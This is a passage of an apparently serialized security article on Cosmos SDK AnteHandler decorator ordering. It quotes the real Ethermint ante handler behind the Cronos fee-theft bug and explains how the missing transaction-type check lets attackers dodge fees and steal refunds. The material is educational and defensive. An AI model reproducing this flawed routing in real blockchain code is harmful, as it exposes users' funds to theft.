HERE\n",{"type":23,"tag":75,"props":3634,"children":3635},{"class":77,"line":138},[3636,3641,3645,3650,3654,3659],{"type":23,"tag":75,"props":3637,"children":3638},{"style":88},[3639],{"type":29,"value":3640},"    NewExtensionOptionsDecorator",{"type":23,"tag":75,"props":3642,"children":3643},{"style":94},[3644],{"type":29,"value":643},{"type":23,"tag":75,"props":3646,"children":3647},{"style":110},[3648],{"type":29,"value":3649},"options",{"type":23,"tag":75,"props":3651,"children":3652},{"style":94},[3653],{"type":29,"value":557},{"type":23,"tag":75,"props":3655,"children":3656},{"style":110},[3657],{"type":29,"value":3658},"ExtensionOptionChecker",{"type":23,"tag":75,"props":3660,"children":3661},{"style":94},[3662],{"type":29,"value":1792},{"type":23,"tag":75,"props":3664,"children":3665},{"class":77,"line":161},[3666,3671],{"type":23,"tag":75,"props":3667,"children":3668},{"style":88},[3669],{"type":29,"value":3670},"    NewValidateBasicDecorator",{"type":23,"tag":75,"props":3672,"children":3673},{"style":94},[3674],{"type":29,"value":2580},{"type":23,"tag":75,"props":3676,"children":3677},{"class":77,"line":196},[3678,3683],{"type":23,"tag":75,"props":3679,"children":3680},{"style":88},[3681],{"type":29,"value":3682},"    NewTxTimeoutHeightDecorator",{"type":23,"tag":75,"props":3684,"children":3685},{"style":94},[3686],{"type":29,"value":2580},{"type":23,"tag":75,"props":3688,"children":3689},{"class":77,"line":220},[3690,3695,3699,3703,3707,3712],{"type":23,"tag":75,"props":3691,"children":3692},{"style":88},[3693],{"type":29,"value":3694},"    NewValidateMemoDecorator",{"type":23,"tag":75,"props":3696,"children":3697},{"style":94},[3698],{"type":29,"value":643},{"type":23,"tag":75,"props":3700,"children":3701},{"style":110},[3702],{"type":29,"value":3649},{"type":23,"tag":75,"props":3704,"children":3705},{"style":94},[3706],{"type":29,"value":557},{"type":23,"tag":75,"props":3708,"children":3709},{"style":110},[3710],{"type":29,"value":3711},"AccountKeeper",{"type":23,"tag":75,"props":3713,"children":3714},{"style":94},[3715],{"type":29,"value":1792},{"type":23,"tag":75,"props":3717,"children":3718},{"class":77,"line":248},[3719,3724,3728,3732,3736,3740],{"type":23,"tag":75,"props":3720,"children":3721},{"style":88},[3722],{"type":29,"value":3723},"    NewConsumeGasForTxSizeDecorator",{"type":23,"tag":75,"props":3725,"children":3726},{"style":94},[3727],{"type":29,"value":643},{"type":23,"tag":75,"props":3729,"children":3730},{"style":110},[3731],{"type":29,"value":3649},{"type":23,"tag":75,"props":3733,"children":3734},{"style":94},[3735],{"type":29,"value":557},{"type":23,"tag":75,"props":3737,"children":3738},{"style":110},[3739],{"type":29,"value":3711},{"type":23,"tag":75,"props":3741,"children":3742},{"style":94},[3743],{"type":29,"value":1792},{"type":23,"tag":75,"props":3745,"children":3746},{"class":77,"line":270},[3747,3752,3756,3760,3764,3768,3772,3776,3780,3785,3789,3793,3797,3802,3806,3810,3814,3819],{"type":23,"tag":75,"props":3748,"children":3749},{"style":88},[3750],{"type":29,"value":3751},"    NewDeductFeeDecorator",{"type":23,"tag":75,"props":3753,"children":3754},{"style":94},[3755],{"type":29,"value":643},{"type":23,"tag":75,"props":3757,"children":3758},{"style":110},[3759],{"type":29,"value":3649},{"type":23,"tag":75,"props":3761,"children":3762},{"style":94},[3763],{"type":29,"value":557},{"type":23,"tag":75,"props":3765,"children":3766},{"style":110},[3767],{"type":29,"value":3711},{"type":23,"tag":75,"props":3769,"children":3770},{"style":94},[3771],{"type":29,"value":611},{"type":23,"tag":75,"props":3773,"children":3774},{"style":110},[3775],{"type":29,"value":3649},{"type":23,"tag":75,"props":3777,"children":3778},{"style":94},[3779],{"type":29,"value":557},{"type":23,"tag":75,"props":3781,"children":3782},{"style":110},[3783],{"type":29,"value":3784},"BankKeeper",{"type":23,"tag":75,"props":3786,"children":3787},{"style":94},[3788],{"type":29,"value":611},{"type":23,"tag":75,"props":3790,"children":3791},{"style":110},[3792],{"type":29,"value":3649},{"type":23,"tag":75,"props":3794,"children":3795},{"style":94},[3796],{"type":29,"value":557},{"type":23,"tag":75,"props":3798,"children":3799},{"style":110},[3800],{"type":29,"value":3801},"FeegrantKeeper",{"type":23,"tag":75,"props":3803,"children":3804},{"style":94},[3805],{"type":29,"value":611},{"type":23,"tag":75,"props":3807,"children":3808},{"style":110},[3809],{"type":29,"value":3649},{"type":23,"tag":75,"props":3811,"children":3812},{"style":94},[3813],{"type":29,"value":557},{"type":23,"tag":75,"props":3815,"children":3816},{"style":110},[3817],{"type":29,"value":3818},"TxFeeChecker",{"type":23,"tag":75,"props":3820,"children":3821},{"style":94},[3822],{"type":29,"value":1792},{"type":23,"tag":75,"props":3824,"children":3825},{"class":77,"line":279},[3826,3831,3835,3839,3843,3847,3852],{"type":23,"tag":75,"props":3827,"children":3828},{"style":88},[3829],{"type":29,"value":3830},"    NewSetPubKeyDecorator",{"type":23,"tag":75,"props":3832,"children":3833},{"style":94},[3834],{"type":29,"value":643},{"type":23,"tag":75,"props":3836,"children":3837},{"style":110},[3838],{"type":29,"value":3649},{"type":23,"tag":75,"props":3840,"children":3841},{"style":94},[3842],{"type":29,"value":557},{"type":23,"tag":75,"props":3844,"children":3845},{"style":110},[3846],{"type":29,"value":3711},{"type":23,"tag":75,"props":3848,"children":3849},{"style":94},[3850],{"type":29,"value":3851},"), ",{"type":23,"tag":75,"props":3853,"children":3854},{"style":3621},[3855],{"type":29,"value":3856},"// SetPubKeyDecorator must be called before all signature verification decorators\n",{"type":23,"tag":75,"props":3858,"children":3859},{"class":77,"line":303},[3860,3865,3869,3873,3877,3881],{"type":23,"tag":75,"props":3861,"children":3862},{"style":88},[3863],{"type":29,"value":3864},"    NewValidateSigCountDecorator",{"type":23,"tag":75,"props":3866,"children":3867},{"style":94},[3868],{"type":29,"value":643},{"type":23,"tag":75,"props":3870,"children":3871},{"style":110},[3872],{"type":29,"value":3649},{"type":23,"tag":75,"props":3874,"children":3875},{"style":94},[3876],{"type":29,"value":557},{"type":23,"tag":75,"props":3878,"children":3879},{"style":110},[3880],{"type":29,"value":3711},{"type":23,"tag":75,"props":3882,"children":3883},{"style":94},[3884],{"type":29,"value":1792},{"type":23,"tag":75,"props":3886,"children":3887},{"class":77,"line":322},[3888,3893,3897,3901,3905,3909,3913,3917,3921,3926],{"type":23,"tag":75,"props":3889,"children":3890},{"style":88},[3891],{"type":29,"value":3892},"    NewSigGasConsumeDecorator",{"type":23,"tag":75,"props":3894,"children":3895},{"style":94},[3896],{"type":29,"value":643},{"type":23,"tag":75,"props":3898,"children":3899},{"style":110},[3900],{"type":29,"value":3649},{"type":23,"tag":75,"props":3902,"children":3903},{"style":94},[3904],{"type":29,"value":557},{"type":23,"tag":75,"props":3906,"children":3907},{"style":110},[3908],{"type":29,"value":3711},{"type":23,"tag":75,"props":3910,"children":3911},{"style":94},[3912],{"type":29,"value":611},{"type":23,"tag":75,"props":3914,"children":3915},{"style":110},[3916],{"type":29,"value":3649},{"type":23,"tag":75,"props":3918,"children":3919},{"style":94},[3920],{"type":29,"value":557},{"type":23,"tag":75,"props":3922,"children":3923},{"style":110},[3924],{"type":29,"value":3925},"SigGasConsumer",{"type":23,"tag":75,"props":3927,"children":3928},{"style":94},[3929],{"type":29,"value":1792},{"type":23,"tag":75,"props":3931,"children":3932},{"class":77,"line":340},[3933,3938,3942,3946,3950,3954,3958,3962,3966,3971],{"type":23,"tag":75,"props":3934,"children":3935},{"style":88},[3936],{"type":29,"value":3937},"    NewSigVerificationDecorator",{"type":23,"tag":75,"props":3939,"children":3940},{"style":94},[3941],{"type":29,"value":643},{"type":23,"tag":75,"props":3943,"children":3944},{"style":110},[3945],{"type":29,"value":3649},{"type":23,"tag":75,"props":3947,"children":3948},{"style":94},[3949],{"type":29,"value":557},{"type":23,"tag":75,"props":3951,"children":3952},{"style":110},[3953],{"type":29,"value":3711},{"type":23,"tag":75,"props":3955,"children":3956},{"style":94},[3957],{"type":29,"value":611},{"type":23,"tag":75,"props":3959,"children":3960},{"style":110},[3961],{"type":29,"value":3649},{"type":23,"tag":75,"props":3963,"children":3964},{"style":94},[3965],{"type":29,"value":557},{"type":23,"tag":75,"props":3967,"children":3968},{"style":110},[3969],{"type":29,"value":3970},"SignModeHandler",{"type":23,"tag":75,"props":3972,"children":3973},{"style":94},[3974],{"type":29,"value":1792},{"type":23,"tag":75,"props":3976,"children":3977},{"class":77,"line":349},[3978,3983,3987,3991,3995,3999],{"type":23,"tag":75,"props":3979,"children":3980},{"style":88},[3981],{"type":29,"value":3982},"    NewIncrementSequenceDecorator",{"type":23,"tag":75,"props":3984,"children":3985},{"style":94},[3986],{"type":29,"value":643},{"type":23,"tag":75,"props":3988,"children":3989},{"style":110},[3990],{"type":29,"value":3649},{"type":23,"tag":75,"props":3992,"children":3993},{"style":94},[3994],{"type":29,"value":557},{"type":23,"tag":75,"props":3996,"children":3997},{"style":110},[3998],{"type":29,"value":3711},{"type":23,"tag":75,"props":4000,"children":4001},{"style":94},[4002],{"type":29,"value":1792},{"type":23,"tag":75,"props":4004,"children":4005},{"class":77,"line":363},[4006],{"type":23,"tag":75,"props":4007,"children":4008},{"style":94},[4009],{"type":29,"value":369},{"type":23,"tag":32,"props":4011,"children":4012},{},[4013,4015,4020,4022,4028,4029,4035],{"type":29,"value":4014},"Unfortunately, that order wouldn't work. This is because there are other ",{"type":23,"tag":71,"props":4016,"children":4018},{"className":4017},[],[4019],{"type":29,"value":3547},{"type":29,"value":4021},", such as ",{"type":23,"tag":71,"props":4023,"children":4025},{"className":4024},[],[4026],{"type":29,"value":4027},"SigGasConsumeDecorator",{"type":29,"value":2721},{"type":23,"tag":71,"props":4030,"children":4032},{"className":4031},[],[4033],{"type":29,"value":4034},"ConsumeGasForTxSizeDecorator",{"type":29,"value":4036},", that modify account balances. By placing our decorator at the very start of the chain, we might pass the check and later have the signers' balances deducted before reaching the end of the decorator chain and starting transaction execution. Consequently, the invariance we intended to ensure may no longer hold, rendering our check useless.",{"type":23,"tag":32,"props":4038,"children":4039},{},[4040,4042,4048,4050,4055],{"type":29,"value":4041},"The easiest \"mitigation\" is to move our decorator down into the chain list. We say this lightly because it's important to consider various factors such as whether nested ",{"type":23,"tag":71,"props":4043,"children":4045},{"className":4044},[],[4046],{"type":29,"value":4047},"msgs",{"type":29,"value":4049}," are allowed (e.g. the authz module is present), as this precaution alone might not be enough to fully resolve the issue. Without a comprehensive understanding of the entire system, there is a risk that mistakes will still be made in the ",{"type":23,"tag":71,"props":4051,"children":4053},{"className":4052},[],[4054],{"type":29,"value":2852},{"type":29,"value":4056}," chain.",{"type":23,"tag":923,"props":4058,"children":4060},{"id":4059},"real-world-examples-2",[4061],{"type":29,"value":928},{"type":23,"tag":32,"props":4063,"children":4064},{},[4065,4067,4072,4074,4081],{"type":29,"value":4066},"An instance of ",{"type":23,"tag":71,"props":4068,"children":4070},{"className":4069},[],[4071],{"type":29,"value":2774},{"type":29,"value":4073}," misuse is a ",{"type":23,"tag":940,"props":4075,"children":4078},{"href":4076,"rel":4077},"https://medium.com/immunefi/cronos-theft-of-transactions-fees-bugfix-postmortem-b33f941b9570",[944],[4079],{"type":29,"value":4080},"Theft of Fund bug",{"type":29,"value":4082}," that was exploited in a Cronos contract.",{"type":23,"tag":32,"props":4084,"children":4085},{},[4086,4088,4093,4095,4100,4102,4108,4110,4116,4118,4123,4125,4130],{"type":29,"value":4087},"In this scenario, ",{"type":23,"tag":71,"props":4089,"children":4091},{"className":4090},[],[4092],{"type":29,"value":4047},{"type":29,"value":4094}," are multiplexed to different ",{"type":23,"tag":71,"props":4096,"children":4098},{"className":4097},[],[4099],{"type":29,"value":2774},{"type":29,"value":4101}," sets through the user-controlled ",{"type":23,"tag":71,"props":4103,"children":4105},{"className":4104},[],[4106],{"type":29,"value":4107},"ExtensionOptionsEthereumTx",{"type":29,"value":4109}," option. However, due to a lack of tx validation, if a ",{"type":23,"tag":71,"props":4111,"children":4113},{"className":4112},[],[4114],{"type":29,"value":4115},"MsgEthereumTx",{"type":29,"value":4117}," does not have ",{"type":23,"tag":71,"props":4119,"children":4121},{"className":4120},[],[4122],{"type":29,"value":4107},{"type":29,"value":4124}," specified, it will be routed to non-Ethereum ",{"type":23,"tag":71,"props":4126,"children":4128},{"className":4127},[],[4129],{"type":29,"value":3547},{"type":29,"value":4131},", failing to collect fees from users as intended. Consequently, attackers can exploit the fee refund at the end of transaction processing to steal funds.",{"type":23,"tag":32,"props":4133,"children":4134},{},[4135],{"type":23,"tag":940,"props":4136,"children":4139},{"href":4137,"rel":4138},"https://github.com/crypto-org-chain/ethermint/blob/82805507f7d2e83cad547736883dc22acfb52440/app/ante/ante.go#L33",[944],[4140],{"type":29,"value":982},{"type":23,"tag":64,"props":4142,"children":4144},{"code":4143,"language":373,"meta":7,"className":374,"style":7},"func NewAnteHandler(\n    ak evmtypes.AccountKeeper,\n    bankKeeper evmtypes.BankKeeper,\n    evmKeeper EVMKeeper,\n    feeGrantKeeper authante.FeegrantKeeper,\n    channelKeeper channelkeeper.Keeper,\n    signModeHandler authsigning.SignModeHandler,\n) sdk.AnteHandler {\n    return func(\n        ctx sdk.Context, tx sdk.Tx, sim bool,\n    ) (newCtx sdk.Context, err error) {\n        var anteHandler sdk.AnteHandler\n\n        defer Recover(ctx.Logger(), &err)\n\n        txWithExtensions, ok := tx.(authante.HasExtensionOptionsTx)\n        if ok {\n            opts := txWithExtensions.GetExtensionOptions()\n            if len(opts) > 0 {\n                switch typeURL := opts[0].GetTypeUrl(); typeURL {\n                case \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\":\n                    // handle as *evmtypes.MsgEthereumTx\n\n                    anteHandler = sdk.ChainAnteDecorators(\n                        NewEthSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n                        ...\n                        NewEthIncrementSenderSequenceDecorator(ak), // innermost AnteDecorator.\n                    )\n\n                default:\n                    return ctx, stacktrace.Propagate(\n                        sdkerrors.Wrap(sdkerrors.ErrUnknownExtensionOptions, typeURL),\n                        \"rejecting tx with unsupported extension option\",\n                    )\n                }\n\n                return anteHandler(ctx, tx, sim)\n            }\n        }\n\n        // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n\n        switch tx.(type) {\n        case sdk.Tx:\n            anteHandler = sdk.ChainAnteDecorators(\n                authante.NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n                 ...\n                authante.NewIncrementSequenceDecorator(ak), // innermost AnteDecorator\n            )\n        default:\n            return ctx, stacktrace.Propagate(\n                sdkerrors.Wrapf(sdkerrors.ErrUnknownRequest, \"invalid transaction type: %T\", tx),\n                \"transaction is not an SDK tx\",\n            )\n        }\n\n        return anteHandler(ctx, tx, sim)\n    }\n}\n",[4145],{"type":23,"tag":71,"props":4146,"children":4147},{"__ignoreMap":7},[4148,4164,4189,4213,4230,4255,4281,4306,4329,4345,4401,4444,4470,4477,4523,4530,4576,4592,4622,4661,4715,4733,4741,4748,4777,4793,4801,4827,4835,4842,4854,4888,4935,4948,4956,4965,4973,5014,5023,5031,5039,5048,5056,5081,5106,5135,5161,5170,5204,5212,5225,5257,5313,5326,5334,5342,5350,5390,5398],{"type":23,"tag":75,"props":4149,"children":4150},{"class":77,"line":78},[4151,4155,4160],{"type":23,"tag":75,"props":4152,"children":4153},{"style":82},[4154],{"type":29,"value":512},{"type":23,"tag":75,"props":4156,"children":4157},{"style":88},[4158],{"type":29,"value":4159}," NewAnteHandler",{"type":23,"tag":75,"props":4161,"children":4162},{"style":94},[4163],{"type":29,"value":97},{"type":23,"tag":75,"props":4165,"children":4166},{"class":77,"line":100},[4167,4172,4177,4181,4185],{"type":23,"tag":75,"props":4168,"children":4169},{"style":110},[4170],{"type":29,"value":4171},"    ak",{"type":23,"tag":75,"props":4173,"children":4174},{"style":104},[4175],{"type":29,"value":4176}," evmtypes",{"type":23,"tag":75,"props":4178,"children":4179},{"style":94},[4180],{"type":29,"value":557},{"type":23,"tag":75,"props":4182,"children":4183},{"style":104},[4184],{"type":29,"value":3711},{"type":23,"tag":75,"props":4186,"children":4187},{"style":94},[4188],{"type":29,"value":118},{"type":23,"tag":75,"props":4190,"children":4191},{"class":77,"line":121},[4192,4197,4201,4205,4209],{"type":23,"tag":75,"props":4193,"children":4194},{"style":110},[4195],{"type":29,"value":4196},"    bankKeeper",{"type":23,"tag":75,"props":4198,"children":4199},{"style":104},[4200],{"type":29,"value":4176},{"type":23,"tag":75,"props":4202,"children":4203},{"style":94},[4204],{"type":29,"value":557},{"type":23,"tag":75,"props":4206,"children":4207},{"style":104},[4208],{"type":29,"value":3784},{"type":23,"tag":75,"props":4210,"children":4211},{"style":94},[4212],{"type":29,"value":118},{"type":23,"tag":75,"props":4214,"children":4215},{"class":77,"line":138},[4216,4221,4226],{"type":23,"tag":75,"props":4217,"children":4218},{"style":110},[4219],{"type":29,"value":4220},"    evmKeeper",{"type":23,"tag":75,"props":4222,"children":4223},{"style":104},[4224],{"type":29,"value":4225}," EVMKeeper",{"type":23,"tag":75,"props":4227,"children":4228},{"style":94},[4229],{"type":29,"value":118},{"type":23,"tag":75,"props":4231,"children":4232},{"class":77,"line":161},[4233,4238,4243,4247,4251],{"type":23,"tag":75,"props":4234,"children":4235},{"style":110},[4236],{"type":29,"value":4237},"    feeGrantKeeper",{"type":23,"tag":75,"props":4239,"children":4240},{"style":104},[4241],{"type":29,"value":4242}," authante",{"type":23,"tag":75,"props":4244,"children":4245},{"style":94},[4246],{"type":29,"value":557},{"type":23,"tag":75,"props":4248,"children":4249},{"style":104},[4250],{"type":29,"value":3801},{"type":23,"tag":75,"props":4252,"children":4253},{"style":94},[4254],{"type":29,"value":118},{"type":23,"tag":75,"props":4256,"children":4257},{"class":77,"line":196},[4258,4263,4268,4272,4277],{"type":23,"tag":75,"props":4259,"children":4260},{"style":110},[4261],{"type":29,"value":4262},"    channelKeeper",{"type":23,"tag":75,"props":4264,"children":4265},{"style":104},[4266],{"type":29,"value":4267}," channelkeeper",{"type":23,"tag":75,"props":4269,"children":4270},{"style":94},[4271],{"type":29,"value":557},{"type":23,"tag":75,"props":4273,"children":4274},{"style":104},[4275],{"type":29,"value":4276},"Keeper",{"type":23,"tag":75,"props":4278,"children":4279},{"style":94},[4280],{"type":29,"value":118},{"type":23,"tag":75,"props":4282,"children":4283},{"class":77,"line":220},[4284,4289,4294,4298,4302],{"type":23,"tag":75,"props":4285,"children":4286},{"style":110},[4287],{"type":29,"value":4288},"    signModeHandler",{"type":23,"tag":75,"props":4290,"children":4291},{"style":104},[4292],{"type":29,"value":4293}," authsigning",{"type":23,"tag":75,"props":4295,"children":4296},{"style":94},[4297],{"type":29,"value":557},{"type":23,"tag":75,"props":4299,"children":4300},{"style":104},[4301],{"type":29,"value":3970},{"type":23,"tag":75,"props":4303,"children":4304},{"style":94},[4305],{"type":29,"value":118},{"type":23,"tag":75,"props":4307,"children":4308},{"class":77,"line":248},[4309,4313,4317,4321,4325],{"type":23,"tag":75,"props":4310,"children":4311},{"style":94},[4312],{"type":29,"value":167},{"type":23,"tag":75,"props":4314,"children":4315},{"style":104},[4316],{"type":29,"value":3041},{"type":23,"tag":75,"props":4318,"children":4319},{"style":94},[4320],{"type":29,"value":557},{"type":23,"tag":75,"props":4322,"children":4323},{"style":104},[4324],{"type":29,"value":2774},{"type":23,"tag":75,"props":4326,"children":4327},{"style":94},[4328],{"type":29,"value":401},{"type":23,"tag":75,"props":4330,"children":4331},{"class":77,"line":270},[4332,4336,4341],{"type":23,"tag":75,"props":4333,"children":4334},{"style":175},[4335],{"type":29,"value":355},{"type":23,"tag":75,"props":4337,"children":4338},{"style":82},[4339],{"type":29,"value":4340}," func",{"type":23,"tag":75,"props":4342,"children":4343},{"style":94},[4344],{"type":29,"value":97},{"type":23,"tag":75,"props":4346,"children":4347},{"class":77,"line":279},[4348,4352,4356,4360,4364,4368,4372,4376,4380,4384,4388,4393,4397],{"type":23,"tag":75,"props":4349,"children":4350},{"style":110},[4351],{"type":29,"value":1698},{"type":23,"tag":75,"props":4353,"children":4354},{"style":104},[4355],{"type":29,"value":2951},{"type":23,"tag":75,"props":4357,"children":4358},{"style":94},[4359],{"type":29,"value":557},{"type":23,"tag":75,"props":4361,"children":4362},{"style":104},[4363],{"type":29,"value":562},{"type":23,"tag":75,"props":4365,"children":4366},{"style":94},[4367],{"type":29,"value":611},{"type":23,"tag":75,"props":4369,"children":4370},{"style":110},[4371],{"type":29,"value":3508},{"type":23,"tag":75,"props":4373,"children":4374},{"style":104},[4375],{"type":29,"value":2951},{"type":23,"tag":75,"props":4377,"children":4378},{"style":94},[4379],{"type":29,"value":557},{"type":23,"tag":75,"props":4381,"children":4382},{"style":104},[4383],{"type":29,"value":2984},{"type":23,"tag":75,"props":4385,"children":4386},{"style":94},[4387],{"type":29,"value":611},{"type":23,"tag":75,"props":4389,"children":4390},{"style":110},[4391],{"type":29,"value":4392},"sim",{"type":23,"tag":75,"props":4394,"children":4395},{"style":104},[4396],{"type":29,"value":3001},{"type":23,"tag":75,"props":4398,"children":4399},{"style":94},[4400],{"type":29,"value":118},{"type":23,"tag":75,"props":4402,"children":4403},{"class":77,"line":303},[4404,4409,4414,4418,4422,4426,4430,4435,4440],{"type":23,"tag":75,"props":4405,"children":4406},{"style":94},[4407],{"type":29,"value":4408},"    ) (",{"type":23,"tag":75,"props":4410,"children":4411},{"style":110},[4412],{"type":29,"value":4413},"newCtx",{"type":23,"tag":75,"props":4415,"children":4416},{"style":104},[4417],{"type":29,"value":2951},{"type":23,"tag":75,"props":4419,"children":4420},{"style":94},[4421],{"type":29,"value":557},{"type":23,"tag":75,"props":4423,"children":4424},{"style":104},[4425],{"type":29,"value":562},{"type":23,"tag":75,"props":4427,"children":4428},{"style":94},[4429],{"type":29,"value":611},{"type":23,"tag":75,"props":4431,"children":4432},{"style":110},[4433],{"type":29,"value":4434},"err",{"type":23,"tag":75,"props":4436,"children":4437},{"style":104},[4438],{"type":29,"value":4439}," error",{"type":23,"tag":75,"props":4441,"children":4442},{"style":94},[4443],{"type":29,"value":193},{"type":23,"tag":75,"props":4445,"children":4446},{"class":77,"line":322},[4447,4452,4457,4461,4465],{"type":23,"tag":75,"props":4448,"children":4449},{"style":82},[4450],{"type":29,"value":4451},"        var",{"type":23,"tag":75,"props":4453,"children":4454},{"style":110},[4455],{"type":29,"value":4456}," anteHandler",{"type":23,"tag":75,"props":4458,"children":4459},{"style":104},[4460],{"type":29,"value":2951},{"type":23,"tag":75,"props":4462,"children":4463},{"style":94},[4464],{"type":29,"value":557},{"type":23,"tag":75,"props":4466,"children":4467},{"style":104},[4468],{"type":29,"value":4469},"AnteHandler\n",{"type":23,"tag":75,"props":4471,"children":4472},{"class":77,"line":340},[4473],{"type":23,"tag":75,"props":4474,"children":4475},{"emptyLinePlaceholder":15},[4476],{"type":29,"value":276},{"type":23,"tag":75,"props":4478,"children":4479},{"class":77,"line":349},[4480,4485,4490,4494,4498,4502,4507,4511,4515,4519],{"type":23,"tag":75,"props":4481,"children":4482},{"style":175},[4483],{"type":29,"value":4484},"        defer",{"type":23,"tag":75,"props":4486,"children":4487},{"style":88},[4488],{"type":29,"value":4489}," Recover",{"type":23,"tag":75,"props":4491,"children":4492},{"style":94},[4493],{"type":29,"value":643},{"type":23,"tag":75,"props":4495,"children":4496},{"style":110},[4497],{"type":29,"value":3331},{"type":23,"tag":75,"props":4499,"children":4500},{"style":94},[4501],{"type":29,"value":557},{"type":23,"tag":75,"props":4503,"children":4504},{"style":88},[4505],{"type":29,"value":4506},"Logger",{"type":23,"tag":75,"props":4508,"children":4509},{"style":94},[4510],{"type":29,"value":1471},{"type":23,"tag":75,"props":4512,"children":4513},{"style":209},[4514],{"type":29,"value":1277},{"type":23,"tag":75,"props":4516,"children":4517},{"style":110},[4518],{"type":29,"value":4434},{"type":23,"tag":75,"props":4520,"children":4521},{"style":94},[4522],{"type":29,"value":653},{"type":23,"tag":75,"props":4524,"children":4525},{"class":77,"line":363},[4526],{"type":23,"tag":75,"props":4527,"children":4528},{"emptyLinePlaceholder":15},[4529],{"type":29,"value":276},{"type":23,"tag":75,"props":4531,"children":4532},{"class":77,"line":656},[4533,4538,4542,4546,4550,4554,4558,4563,4567,4572],{"type":23,"tag":75,"props":4534,"children":4535},{"style":110},[4536],{"type":29,"value":4537},"        txWithExtensions",{"type":23,"tag":75,"props":4539,"children":4540},{"style":94},[4541],{"type":29,"value":611},{"type":23,"tag":75,"props":4543,"children":4544},{"style":110},[4545],{"type":29,"value":3078},{"type":23,"tag":75,"props":4547,"children":4548},{"style":209},[4549],{"type":29,"value":633},{"type":23,"tag":75,"props":4551,"children":4552},{"style":110},[4553],{"type":29,"value":3087},{"type":23,"tag":75,"props":4555,"children":4556},{"style":94},[4557],{"type":29,"value":3092},{"type":23,"tag":75,"props":4559,"children":4560},{"style":104},[4561],{"type":29,"value":4562},"authante",{"type":23,"tag":75,"props":4564,"children":4565},{"style":94},[4566],{"type":29,"value":557},{"type":23,"tag":75,"props":4568,"children":4569},{"style":104},[4570],{"type":29,"value":4571},"HasExtensionOptionsTx",{"type":23,"tag":75,"props":4573,"children":4574},{"style":94},[4575],{"type":29,"value":653},{"type":23,"tag":75,"props":4577,"children":4578},{"class":77,"line":705},[4579,4583,4588],{"type":23,"tag":75,"props":4580,"children":4581},{"style":175},[4582],{"type":29,"value":2445},{"type":23,"tag":75,"props":4584,"children":4585},{"style":110},[4586],{"type":29,"value":4587}," ok",{"type":23,"tag":75,"props":4589,"children":4590},{"style":94},[4591],{"type":29,"value":401},{"type":23,"tag":75,"props":4593,"children":4594},{"class":77,"line":787},[4595,4600,4604,4609,4613,4618],{"type":23,"tag":75,"props":4596,"children":4597},{"style":110},[4598],{"type":29,"value":4599},"            opts",{"type":23,"tag":75,"props":4601,"children":4602},{"style":209},[4603],{"type":29,"value":633},{"type":23,"tag":75,"props":4605,"children":4606},{"style":110},[4607],{"type":29,"value":4608}," txWithExtensions",{"type":23,"tag":75,"props":4610,"children":4611},{"style":94},[4612],{"type":29,"value":557},{"type":23,"tag":75,"props":4614,"children":4615},{"style":88},[4616],{"type":29,"value":4617},"GetExtensionOptions",{"type":23,"tag":75,"props":4619,"children":4620},{"style":94},[4621],{"type":29,"value":3249},{"type":23,"tag":75,"props":4623,"children":4624},{"class":77,"line":826},[4625,4630,4635,4639,4644,4648,4653,4657],{"type":23,"tag":75,"props":4626,"children":4627},{"style":175},[4628],{"type":29,"value":4629},"            if",{"type":23,"tag":75,"props":4631,"children":4632},{"style":88},[4633],{"type":29,"value":4634}," len",{"type":23,"tag":75,"props":4636,"children":4637},{"style":94},[4638],{"type":29,"value":643},{"type":23,"tag":75,"props":4640,"children":4641},{"style":110},[4642],{"type":29,"value":4643},"opts",{"type":23,"tag":75,"props":4645,"children":4646},{"style":94},[4647],{"type":29,"value":167},{"type":23,"tag":75,"props":4649,"children":4650},{"style":209},[4651],{"type":29,"value":4652},">",{"type":23,"tag":75,"props":4654,"children":4655},{"style":237},[4656],{"type":29,"value":240},{"type":23,"tag":75,"props":4658,"children":4659},{"style":94},[4660],{"type":29,"value":401},{"type":23,"tag":75,"props":4662,"children":4663},{"class":77,"line":834},[4664,4669,4674,4678,4683,4687,4691,4696,4701,4706,4711],{"type":23,"tag":75,"props":4665,"children":4666},{"style":175},[4667],{"type":29,"value":4668},"                switch",{"type":23,"tag":75,"props":4670,"children":4671},{"style":110},[4672],{"type":29,"value":4673}," typeURL",{"type":23,"tag":75,"props":4675,"children":4676},{"style":209},[4677],{"type":29,"value":633},{"type":23,"tag":75,"props":4679,"children":4680},{"style":110},[4681],{"type":29,"value":4682}," opts",{"type":23,"tag":75,"props":4684,"children":4685},{"style":94},[4686],{"type":29,"value":814},{"type":23,"tag":75,"props":4688,"children":4689},{"style":237},[4690],{"type":29,"value":648},{"type":23,"tag":75,"props":4692,"children":4693},{"style":94},[4694],{"type":29,"value":4695},"].",{"type":23,"tag":75,"props":4697,"children":4698},{"style":88},[4699],{"type":29,"value":4700},"GetTypeUrl",{"type":23,"tag":75,"props":4702,"children":4703},{"style":94},[4704],{"type":29,"value":4705},"(); ",{"type":23,"tag":75,"props":4707,"children":4708},{"style":110},[4709],{"type":29,"value":4710},"typeURL",{"type":23,"tag":75,"props":4712,"children":4713},{"style":94},[4714],{"type":29,"value":401},{"type":23,"tag":75,"props":4716,"children":4717},{"class":77,"line":881},[4718,4723,4728],{"type":23,"tag":75,"props":4719,"children":4720},{"style":175},[4721],{"type":29,"value":4722},"                case",{"type":23,"tag":75,"props":4724,"children":4725},{"style":1266},[4726],{"type":29,"value":4727}," \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\"",{"type":23,"tag":75,"props":4729,"children":4730},{"style":94},[4731],{"type":29,"value":4732},":\n",{"type":23,"tag":75,"props":4734,"children":4735},{"class":77,"line":3355},[4736],{"type":23,"tag":75,"props":4737,"children":4738},{"style":3621},[4739],{"type":29,"value":4740},"                    // handle as *evmtypes.MsgEthereumTx\n",{"type":23,"tag":75,"props":4742,"children":4743},{"class":77,"line":3390},[4744],{"type":23,"tag":75,"props":4745,"children":4746},{"emptyLinePlaceholder":15},[4747],{"type":29,"value":276},{"type":23,"tag":75,"props":4749,"children":4750},{"class":77,"line":3423},[4751,4756,4760,4764,4768,4773],{"type":23,"tag":75,"props":4752,"children":4753},{"style":110},[4754],{"type":29,"value":4755},"                    